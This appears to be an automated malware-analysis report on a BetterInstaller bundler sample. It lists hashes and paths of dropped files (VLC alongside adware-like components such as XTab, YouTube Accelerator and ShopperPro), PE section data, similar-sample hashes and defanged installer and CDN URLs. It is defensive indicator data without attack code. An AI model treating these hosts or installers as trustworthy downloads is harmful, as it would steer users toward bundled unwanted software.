5a75d285be4080996933af6483895595 c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll
037ffa12298f0d66f3ec3561894a05fc c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll
d411bebb96401574f5deab35ad65769c c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll
428607004c6cc6f9cc22ec6c4543b61e c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll
b57d6c06be2eaa2d0f05165008cb5dbe c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll
9eaa95b6b499807eab9120865dd50638 c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll
bcfb28f4136149fa5bc8bd9dba76b55f c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll
117d2859bde0bde8c11f3c359f452465 c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll
2a42e5c31fd362d18644a98e3f8177a1 c:\Program Files (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll
1116cb228804480e4e4b12aba30fbcc1 c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll
2ad210d55c8a179d78de1393435e05c8 c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libpodcast_plugin.dll
ff4873b05833b735746715350ecf2090 c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libsap_plugin.dll
8ae8e24cff31f3935d0532960ab392d9 c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll
bf9b3e5ab420100b4846e6afc46512a0 c:\Program Files (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll
1359ffddbd1a4407d368bbf7a00e400f c:\Program Files (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll
73cafcc53ef57006bf3546d7a4290b84 c:\Program Files (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll
6b238a11a8732c292a243521b2a726ac c:\Program Files (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll
c1604a60a5340a04dd7fe4044911f392 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll
d2e5d64d808efe8eb234367b116a0b9a c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll
3cb1e4d77745150045d78d8729f182a9 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll
9a1c9e3d9d3a3ef89eb76f76b02a3e5b c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll
96d52a5a5d18fbed114ffe57290d7e5d c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_bridge_plugin.dll
0337ad58ed9bcde631d7157e19d38d08 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll
a8a938517e2f9e5ac6b695a812d6e595 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll
33336ae253efbc2a8e076f7c46ba0de9 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_display_plugin.dll
43152b3b722eecf22b32528364947efc c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll
b46553b5fecfdd9832582998c928c8d9 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll
e5f712e3a510d8cd92c4fcb88d44ed07 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_es_plugin.dll
31fed60969abd732168e28d0019479f2 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll
7ec4b116c214cb62fdf5ac6cca990bb3 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll
ae169b7546994bf5aeb56693280cfcc0 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll
b160bb2dcc1e8241d422d112183a45cb c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll
e1be159c1c74d8c20810bafd038a01c1 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll
cd455dceb3104a02be4e4aa024dca5b8 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll
e7f50aa15686c50017def7a01415a3d8 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll
6b2a411cfea599028eecb4da44891947 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll
5ff95666a2589152f3898242cd89a03f c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll
363829a69295214b06c6d1a243716801 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll
822989725e84a20b51f06f1175bd24d7 c:\Program Files (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_transcode_plugin.dll
7d0aa4e20b0acfd967a52da723bfa57d c:\Program Files (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll
84e72c3738dc1d9aaaca493cc31e0fae c:\Program Files (x86)\VideoLAN\VLC\plugins\text_renderer\libtdummy_plugin.dll
206a139a5ee8147bc0920a81ef4a4e6a c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll
a1e27ede782419100bc51bf72e0d9d50 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll
b135be241d6324bf99aa9e8c022cca96 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll
402bd1af4543d61b84f26c1e7d838caa c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll
d43062ce4fa7a8ff812d205382f6eabb c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll
804744977454610bdd88b6bb8964023a c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll
0bc09b29d883e22758adfb5b4dfababd c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll
cce44a9c7c9cd63aff09aead643d642e c:\Program Files (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll
fa1b33c7dbe5762693ac2fae3f2eab40 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll
17b54094d081dfa38abc65a57fe36944 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll
ede49c1edd8a1abd8ed9382a20e60ad9 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll
8e3e717e2d6f0cffc9d7bcc8b436fed0 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll
54746afe4dedccd539bce50fa4f090b1 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll
a3710db773fbe37939738fba8b692156 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll
42184ec6a93dfdf34f8a9a9ea7369758 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll
e112ec3b8df5f4dfcffbee42336e6f38 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libblendbench_plugin.dll
0c3ac68bbcc7708512e5f8e25a66bba9 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll
0da9fdbb974ff48daa7ee6b2f0b01db2 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll
93feefcf7c0dcda7fee683a07bf23542 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll
f4d16a97c1ca0fb3d1fb366098011858 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll
e88e96a2e11d508846b270ddc39084f1 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll
6670a5647d451cd691e0532089ac8366 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll
e4d8c95a139fe21905b5789d1bc549ba c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll
f484983ee171d55ac7503f7ceee4d200 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll
85d2febdc780be1ddaee9a37b8b63c6c c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll
8851fa79fa6220bd17d8ec7590013d08 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll
71f64b09e9e2f827cbf55fb673fd013e c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll
7d45cc772bf92bf5584712c2326b4081 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll
21dde4cce17c604adee47cf8882d7cde c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll
3dca00c940af7b0c569b56d75f60ea6b c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libhqdn3d_plugin.dll
78c31ffd3e48fefc3f3c9766fa4eff9d c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll
8bee20939e098c8bb923bd125ba3faf1 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll
81d17def5ee1de285ac06d3e580e3dff c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll
af9587cae94591369c4d9d83d20124f6 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmarq_plugin.dll
5bc22fef120b43bef50562ced24a0ecc c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll
04e50723fe244deb199af5775e902d27 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmosaic_plugin.dll
6ccbabe4e72863e77a358d8502883a01 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll
848fd90f536d5dd9b3a79afeec16aa4b c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll
998a4c15353c5b0d652e0e1d2f4998b3 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll
d3261ea636f7a7b5acd6bda3f38efc57 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll
da5a8051b622f493aca837478c0aeab2 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libposterize_plugin.dll
276f298f12387c0b29d64aed57ab482d c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll
81353e1e926ea3becaf33fa669300a72 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpsychedelic_plugin.dll
48426258d1fa379aae3265145b33281a c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll
d311f5ac775e3b6353670072af156e3f c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll
d422784703a853fad78177105c901337 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll
1bbf01790a852b951c3088f54dcfae96 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll
c3782e8412d2948d36b842336d326357 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll
12153b1d179a48154efcb42209f82b61 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll
e01922f769c9a34798320c9027a02e21 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll
fe0e983ddd3264e7283d6118c8bc53de c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll
f5e71ba5602424d7be79a7f53fc742e4 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll
98605962aca98a44a46f50dca9cb1688 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll
390e0b81714eb8384bfbea112dc3be72 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libswscale_plugin.dll
48534b42e5e78b249286381c08afa351 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll
03ef56f605d66483e58ba733f85dceca c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll
6ca9ff3b7cec499470dd969f9f9d6145 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll
ad9d1c0c90cc209244cce5985c4cc434 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_filter\libyuvp_plugin.dll
00dd4f8a9228ced93c3fffa0e3aa0541 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll
9af13d66650107c3dcc472f729449b70 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirect2d_plugin.dll
afb1701145a2808958a7f43a4db80e6b c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll
c2f600329dcfe6df2c8bee87c0814787 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll
0da302ee2015eb4b4a9e5f50a8bd6989 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll
216e910ec02e06126f2066dae69891b5 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll
b5481bfa40dffcd9e93e7ac1c36b1847 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll
e485d5c60ab18791b9599b8ebe9a4574 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll
10636b1dd997f1dd08829869a064c253 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll
d05874308b6ba3c57f73eeb533d12693 c:\Program Files (x86)\VideoLAN\VLC\plugins\video_output\libyuv_plugin.dll
5de76c0d44be0914416259593bda2196 c:\Program Files (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll
aba388cf3c047cbd1aab5233d9b3f984 c:\Program Files (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll
27794b55268985a422b2aefbf7ffac23 c:\Program Files (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll
2a81418c1df66fad11cc748d02d35cf8 c:\Program Files (x86)\VideoLAN\VLC\uninstall.exe
2076f04dfd9f890680625345b6420a37 c:\Program Files (x86)\VideoLAN\VLC\vlc-cache-gen.exe
ee6f75859f882aaf96b4fa15c83dcc07 c:\Program Files (x86)\VideoLAN\VLC\vlc.exe
0183c88583bbf1c99d67acce017c9beb c:\Program Files (x86)\XTab\BrowerWatchCH.dll
fd0b82d24d162e240931cfd5540d3021 c:\Program Files (x86)\XTab\BrowerWatchFF.dll
5785680870eff9ba7b4f58c726552013 c:\Program Files (x86)\XTab\BrowserAction.dll
b124f96efd0010e4f7e262f08519e9e4 c:\Program Files (x86)\XTab\CmdShell.exe
77ccf1c943665ececf9a5ce699560500 c:\Program Files (x86)\XTab\HPNotify.exe
4a345a11cc64ab72cb09ff391611dad0 c:\Program Files (x86)\XTab\IeWatchDog.dll
cc709fa63d5a536a2f8275c0cea39070 c:\Program Files (x86)\XTab\ProtectService.exe
efa257c845943b84922117758c955434 c:\Program Files (x86)\XTab\SupTab.dll
3e29914113ec4b968ba5eb1f6d194a0a c:\Program Files (x86)\XTab\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6 c:\Program Files (x86)\XTab\msvcr110.dll
e29708f3781e5790424ca59a0fbb1bd3 c:\Program Files (x86)\XTab\uninstall.exe
99762975ae78b591fa6699cc460bb5f7 c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.exe
43901c75bcf54be31a8f15bae77a3865 c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.sys
e0e06dca0f07ebaba0545450d0f69ade c:\Program Files (x86)\YTAHelper\YTAHelper.dll
c254e02e1b6fe3b7f33426bebb9e6af2 c:\Program Files (x86)\YTAHelper\YTAHelper.exe
a3b46b4c5d373c51e6e489bb603dba9f c:\Program Files (x86)\YTAHelper\YTAHelper64.dll
76f41068f2fa82523736c58c6a6a27db c:\Program Files (x86)\YouTube Accelerator\Res.dll
973567b98cdfc147df4e60471d9df072 c:\Program Files (x86)\YouTube Accelerator\UNWISE.EXE
850e72f521667f04a1fa06bc92311b37 c:\Program Files (x86)\YouTube Accelerator\Updater.exe
29605c3fee628f62dea028a354425e3f c:\Program Files (x86)\YouTube Accelerator\YTAHUninstall.exe
4a53830f2e9fa95a7873dcebd0249e80 c:\Program Files (x86)\YouTube Accelerator\YTAUninstall.exe
46e2c40e8adae15d5e3a164e7b65fe40 c:\Program Files (x86)\YouTube Accelerator\YouTubeAccelerator.exe
a77332904ccef3efc9dbb27bfc8dfd31 c:\Program Files (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe
3f4049d8bf040812a96680c5a6b377fd c:\Program Files (x86)\YouTube Accelerator\cabex.dll
f756379f1f0fbad6bcf53170aa804918 c:\Program Files (x86)\YouTube Accelerator\engine.dll
81baf300ca0dc9a3d557d0e84567b1a2 c:\Program Files (x86)\YouTube Accelerator\helper.dll
c014a1dddb4677f54f88efaaa492ddce c:\Program Files (x86)\YouTube Accelerator\ipc.dll
f6ac21939884df5c0201cdf1ead06b90 c:\Program Files (x86)\YouTube Accelerator\lspinst.exe
2c3a467735e2d937ce44034869b43231 c:\Program Files (x86)\YouTube Accelerator\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76 c:\Program Files (x86)\YouTube Accelerator\sporder.dll
5e2c0de2f0f15923154293dea89d196b c:\Program Files (x86)\YouTube Accelerator\testlsp.exe
39d9593e5c43d81fe9724fb0f7b16cc0 c:\Program Files (x86)\YouTube Accelerator\unelevate.exe
e0024c585767d4851de5e7331ac91ee5 c:\Program Files (x86)\YouTube Accelerator\xmldb.dll
c84cbb44c3aca460522eba9bd033cd62 c:\Program Files (x86)\YouTube Accelerator\ytalsp.dll
7f2096ce9033c708f7752c6bf01cf915 c:\Program Files (x86)\iWebar\62de6a4a-4569-4108-bd93-895e0f28cde9-4.exe
9f69172891e76e63ca2852566b35e329 c:\Program Files (x86)\iWebar\62de6a4a-4569-4108-bd93-895e0f28cde9-5.exe
9931bd8fc2124535533595dee5526340 c:\Program Files (x86)\iWebar\Uninstall.exe
58f8c5eecacbcc25582f3ca7575828b3 c:\Program Files (x86)\iWebar\utils.exe
aff71b76e33714d7d768aefb6fac3ec6 c:\Program Files\Common Files\ShopperPro\spbia.exe
cfc48600683e0a957949adec1a9fc88b c:\Program Files\Common Files\ShopperPro\spbici32.dll
bb44e9d7e4325d8537666173b74939a3 c:\Program Files\Common Files\ShopperPro\spbici64.dll
6da00cf20d14d1220706019656dbd623 c:\Program Files\Common Files\ShopperPro\spbii32.exe
2c412af0f339236f6e526afa31618c60 c:\Program Files\Common Files\ShopperPro\spbii64.exe
9b8479618f7bcc814e97cace11df9233 c:\Program Files\Common Files\ShopperPro\spbiu.exe
d9fe98c842b52a9908ff30eba97a7cca c:\Program Files\Common Files\ShopperPro\spbiw.sys
233cff9284f0dd1b668f349dc67a708f c:\ProgramData\ShopperPro\ShopperPro.dll
97369febf67527f3400895376cfc6381 c:\ProgramData\ShopperPro\ShopperPro64.dll
8a8f5ebe2fd9c2e6325723209b9cdf32 c:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
e0e06dca0f07ebaba0545450d0f69ade c:\ProgramData\YTAHelper\YTAHelper.dll
a3b46b4c5d373c51e6e489bb603dba9f c:\ProgramData\YTAHelper\YTAHelper64.dll
233cff9284f0dd1b668f349dc67a708f c:\Users\All Users\ShopperPro\ShopperPro.dll
97369febf67527f3400895376cfc6381 c:\Users\All Users\ShopperPro\ShopperPro64.dll
8a8f5ebe2fd9c2e6325723209b9cdf32 c:\Users\All Users\WindowsMangerProtect\ProtectWindowsManager.exe
e0e06dca0f07ebaba0545450d0f69ade c:\Users\All Users\YTAHelper\YTAHelper.dll
a3b46b4c5d373c51e6e489bb603dba9f c:\Users\All Users\YTAHelper\YTAHelper64.dll
ea0ca98847dc1a403ffec3be116e8b2f c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_2060\DCytaiesmt_smtyc_setup.exe
ea0ca98847dc1a403ffec3be116e8b2f c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_26658\DCytaiesmt_smtyc_setup.exe
4828ab64568680890a4536cb871752b4 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\F391.tmp
cf0835b400747700a8a27f776453374c c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17063\ins_iwebar.exe
1ed2555abc9d1b64fbe0d2374b4a66ae c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17063\ins_sense.exe
d01bb191432e3215738e501078f69b43 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17063\ins_shopperpro.exe
f8076da03b6b36fa1ec0bd5a082d8d95 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17063\ins_yta.exe
45960b40c1ecb75ed5549a80049879e1 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx
76f41068f2fa82523736c58c6a6a27db c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll
29605c3fee628f62dea028a354425e3f c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe
6f4f8c2cb7e07436aa59a72c89fbaa4a c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe
46e2c40e8adae15d5e3a164e7b65fe40 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe
a77332904ccef3efc9dbb27bfc8dfd31 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe
f756379f1f0fbad6bcf53170aa804918 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll
81baf300ca0dc9a3d557d0e84567b1a2 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll
c014a1dddb4677f54f88efaaa492ddce c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll
f6ac21939884df5c0201cdf1ead06b90 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe
2c3a467735e2d937ce44034869b43231 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll
5e2c0de2f0f15923154293dea89d196b c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe
39d9593e5c43d81fe9724fb0f7b16cc0 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe
850e72f521667f04a1fa06bc92311b37 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe
e0024c585767d4851de5e7331ac91ee5 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll
c84cbb44c3aca460522eba9bd033cd62 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll
4a53830f2e9fa95a7873dcebd0249e80 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe
1bdf5e5015efcaa68b05cec0a79be484 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
3f4049d8bf040812a96680c5a6b377fd c:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll
ea0ca98847dc1a403ffec3be116e8b2f c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\DCytaiesmt_smtyc_setup.exe
6f7d9e111a17fab195efe0bbd3a0442d c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE448.tmp\AccDownload.dll
faa7f034b38e729a983965c04cc70fc1 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE448.tmp\nsProcess.dll
3a9ce8edf728d00a44376a75fe7b2aca c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\nsProcess.dll
51b5567b23895f4a969002403b94f8af c:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe
39d9593e5c43d81fe9724fb0f7b16cc0 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\unelevate.exe
e03f2f24bca457a35e1e26732afe4a2f c:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.4-win32.exe
a1eaf706787ee2e4d5dca54fb21766fd c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\ChromeSync.exe
183ce47148c66717fbcd147a41a0caf6 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\ClearnC.exe
a96619564071df84cc892752df062a6d c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\RegWrite.exe
e7b4b146a101093e11ce45d203dd907b c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\XTab_Setup2253.exe
8a8f5ebe2fd9c2e6325723209b9cdf32 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\tmp\wpm_v20.0.0.2227.exe
acf2f3ad315964ec2ed1ec4e61bd1f96 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
a5bfd6a87161d5dfa81cb5c2c6d29488 c:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe
45960b40c1ecb75ed5549a80049879e1 c:\Windows\SysWOW64\AniGIF.ocx
45960b40c1ecb75ed5549a80049879e1 c:\Windows\System32\AniGIF.ocx

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.0.0.0
File Description: Powered by BetterInstaller
Comments:
Language: Language Neutral

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 28860 29184 4.36907 33e8227bf6edbf3997e3d0895494668e
.data 36864 140 512 0.818223 1b0351714f371c0ba066871d4e504b00
.rdata 40960 3196 3584 3.54441 88a268b1fac88e9fad865c68cf3abce2
.bss 45056 110088 0 0 d41d8cd98f00b204e9800998ecf8427e
.idata 155648 4932 5120 3.53424 11c816edc4ef9cc4aa5511f8a707232b
.ndata 163840 36864 1024 0 0f343b0931126a20f133d67c2b018a3b
.rsrc 200704 17800 17920 3.9497 3b952b6cf19449d255a36efe2cd57cc1

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 3670
7f6d030a23f210ff0f767468fe3edd48
483c5d5b66246b5a4976ad64c3e47476
e0952b912819f49e90dfd4ca6729ede2
6e24b0041379da8b06a4f22ac4d660b4
41e5ae8b69def919dba700217f2943e7
114eb1ede34ad8e19614ea2c27936708
1e85752321decc748975780ffc5f7399
9fe8b39c75f8ed0d56094fe69fbf2c3f
0f8cfe6c36d70739199896a29a9ab59e
9c25ad5c86c1bf46d4564075b019e71c
9c129a294d7cc0fe9ed53d890dbde85f
b9569d981dd7f0516c10295bcb118f65
bbef8102d6345f6e5aea4567f3493da7
52900543c17a5e7bf2dfca79aff4ed8e
5423049c0be0b64dd47e76f4552912c0
e994aa2020aa429e7ed46bde26100014
90351671e65f1bb12916d1e9ec86ed49
13df569a80b0b685ba250ad7617fe738
a16c30b5aa236dc78beea2d35406b2b7
b3fa5976434ce1e51a1bd370e2aefd3c
7f9d59c48734f851495f71f0c539537b
22754d84b6a8863fdb8bcc5c56c849cb
58fe62f415a645bea095e193a1676101
2a2a5c35d16c851fbe31471dc439b39c
92c551fd1abfe685fd18911e9ab08526

URLs

URL IP
hxxp://installer.betterinstaller.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://dreejadsuld8c.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg 54.230.200.5
hxxp://dreejadsuld8c.cloudfront.net/images/Tokyo/tokyo_sprite_full.png 54.230.200.5
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d3ffn9rvm681fx.cloudfront.net/sponsored/swiftrecord/eula-swiftrecord.html 54.192.202.197
hxxp://d3ffn9rvm681fx.cloudfront.net//images/Tokyo/tokyo_default_logo.png 54.192.202.197
hxxp://d3ffn9rvm681fx.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html 54.192.202.197
hxxp://d3i779maf1zmkk.cloudfront.net/sponsored/istartsurf/eula-istartsurf.html 54.230.200.3
